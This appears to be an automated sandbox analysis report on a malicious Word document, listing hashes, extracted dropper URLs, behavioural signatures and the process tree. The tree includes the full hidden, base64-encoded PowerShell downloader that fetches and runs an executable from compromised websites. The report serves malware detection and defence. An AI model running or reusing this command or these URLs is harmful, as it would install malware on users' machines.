Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/11/2024, 10:54

General

  • Target

    7bfb668ee72561b447d26555fba8588145b02d14fa33e1ca5448aa4281ca5eeb.doc

  • Size

    178KB

  • MD5

    cd75cf5ea1bcb6dfa75deacab911dabf

  • SHA1

    2300304895d4439e18e2b43c590d14a6be840f4c

  • SHA256

    7bfb668ee72561b447d26555fba8588145b02d14fa33e1ca5448aa4281ca5eeb

  • SHA512

    82cdb17710620946dce8462fd5069996c0d7be92200bd835820ecc75d13cf25168952a2423ddf5b0ccfa1b3263cda2a002691a6cdec6eea8b70bbaf17bd6791a

  • SSDEEP

    3072:972y/GdynktGDWLS0HZWD5w8K7Nk96D7IBUbZB0zstySfNllXeR:972k43tGiL3HJk96D7bv0z0rllXY

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.yadegarebastan.com/wp-content/mhear/

exe.dropper

http://bikerzonebd.com/wp-admin/89gw/

exe.dropper

http://shptoys.com/_old/bvGej/

exe.dropper

http://www.vestalicom.com/facturation/qgm0t/

exe.dropper

http://www.aliounendiaye.com/wp-content/f3hs6j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7bfb668ee72561b447d26555fba8588145b02d14fa33e1ca5448aa4281ca5eeb.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3444
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1472
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABVAGwAegBiAHIAegB1AHQAaABjAGQAcQB6AD0AJwBGAGYAcgBlAHAAZwBxAGkAJwA7ACQAUABrAHoAbgBlAGQAdQB0AHIAIAA9ACAAJwAxADcANwAnADsAJABSAHkAdwB6AGMAdABpAGwAZgB6AGoAbgBlAD0AJwBSAGIAZABtAHQAYQBnAGMAeQAnADsAJABQAGgAYQBrAGkAcAB2AHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGsAegBuAGUAZAB1AHQAcgArACcALgBlAHgAZQAnADsAJABOAHIAcABkAGMAdgBiAHIAPQAnAFcAaAB6AGoAaQBuAGEAYwB2AHMAbgBrAGgAJwA7ACQAUQBxAHAAZwBwAHoAbgB1AGEAdABuAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFMAYwB5AHAAZwBnAGcAbQBuAHYAbQB4AHMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAGgAZQBhAHIALwAqAGgAdAB0AHAAOgAvAC8AYgBpAGsAZQByAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADkAZwB3AC8AKgBoAHQAdABwADoALwAvAHMAaABwAHQAbwB5AHMALgBjAG8AbQAvAF8AbwBsAGQALwBiAHYARwBlAGoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGUAcwB0AGEAbABpAGMAbwBtAC4AYwBvAG0ALwBmAGEAYwB0AHUAcgBhAHQAaQBvAG4ALwBxAGcAbQAwAHQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGwAaQBvAHUAbgBlAG4AZABpAGEAeQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzAGgAcwA2AGoALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQARgBzAGgAeQBrAHYAeQBsAGEAZwByAD0AJwBXAG8AbQBtAGwAbAB1AHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AdABsAHkAZQBjAHoAdQAgAGkAbgAgACQAUwBjAHkAcABnAGcAZwBtAG4AdgBtAHgAcwApAHsAdAByAHkAewAkAFEAcQBwAGcAcAB6AG4AdQBhAHQAbgBwAC4AIgBEAGAATwB3AG4AYABMAGAAbwBBAGQARgBJAEwAZQAiACgAJABPAHQAbAB5AGUAYwB6AHUALAAgACQAUABoAGEAawBpAHAAdgB0AGMAawApADsAJABMAG0AZgBhAGMAdwBvAGQAPQAnAE8AeABjAHQAdAB4AGEAeQB3AHkAZAByAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGgAYQBrAGkAcAB2AHQAYwBrACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADcAMgA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgB0ACIAKAAkAFAAaABhAGsAaQBwAHYAdABjAGsAKQA7ACQARgBhAHkAdgB2AHYAYgBwAHcAPQAnAFYAdgBwAG0AYwBnAHcAbwB6ACcAOwBiAHIAZQBhAGsAOwAkAFMAbwBsAHYAeABlAHoAdAB1AGgAdQB1AD0AJwBGAG8AZQBzAHYAbgB4AGgAcwBlAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAHYAagBnAHcAbQBoAGoAawA9ACcAVwBwAGMAcgB5AGIAYQB5AHkAeABzAHIAdwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:400

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\D0AA9CAF.wmf

      Filesize

      444B

      MD5

      866aaff46fbd4cee6d0b73a83e435729

      SHA1

      843276c5a512d0bbd7297e5f92f0a28616b447c8

      SHA256

      d27b2b1e712b266b8731e7ec86f886849184cfc026b4db99e68dc1bd63ab0ece

      SHA512

      5d1c35b672ca0bb676ca06dc9b60999518c99d574e5d9a46072270f555d30c3052a17c705d731c6072b0435bb2df39ddf849249aeb3ecbb16023bc2c9b51f972

    • C:\Users\Admin\AppData\Local\Temp\TCDF3EE.tmp\iso690.xsl

      Filesize

      263KB

      MD5

      ff0e07eff1333cdf9fc2523d323dd654

      SHA1

      77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

      SHA256

      3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

      SHA512

      b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_um4tlbyi.j3r.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/400-52-0x0000016F724D0000-0x0000016F724F2000-memory.dmp

      Filesize

      136KB

    • memory/3444-12-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-10-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-7-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-0-0x00007FFDF5570000-0x00007FFDF5580000-memory.dmp

      Filesize

      64KB

    • memory/3444-11-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-15-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-16-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-18-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-17-0x00007FFDF2DB0000-0x00007FFDF2DC0000-memory.dmp

      Filesize

      64KB

    • memory/3444-14-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-13-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-2-0x00007FFDF5570000-0x00007FFDF5580000-memory.dmp

      Filesize

      64KB

    • memory/3444-9-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-8-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-6-0x00007FFDF5570000-0x00007FFDF5580000-memory.dmp

      Filesize

      64KB

    • memory/3444-19-0x00007FFDF2DB0000-0x00007FFDF2DC0000-memory.dmp

      Filesize

      64KB

    • memory/3444-4-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-5-0x00007FFDF5570000-0x00007FFDF5580000-memory.dmp

      Filesize

      64KB

    • memory/3444-3-0x00007FFDF5570000-0x00007FFDF5580000-memory.dmp

      Filesize

      64KB

    • memory/3444-71-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-72-0x00007FFE3558D000-0x00007FFE3558E000-memory.dmp

      Filesize

      4KB

    • memory/3444-73-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-74-0x00007FFE354F0000-0x00007FFE356E5000-memory.dmp

      Filesize

      2.0MB

    • memory/3444-1-0x00007FFE3558D000-0x00007FFE3558E000-memory.dmp

      Filesize

      4KB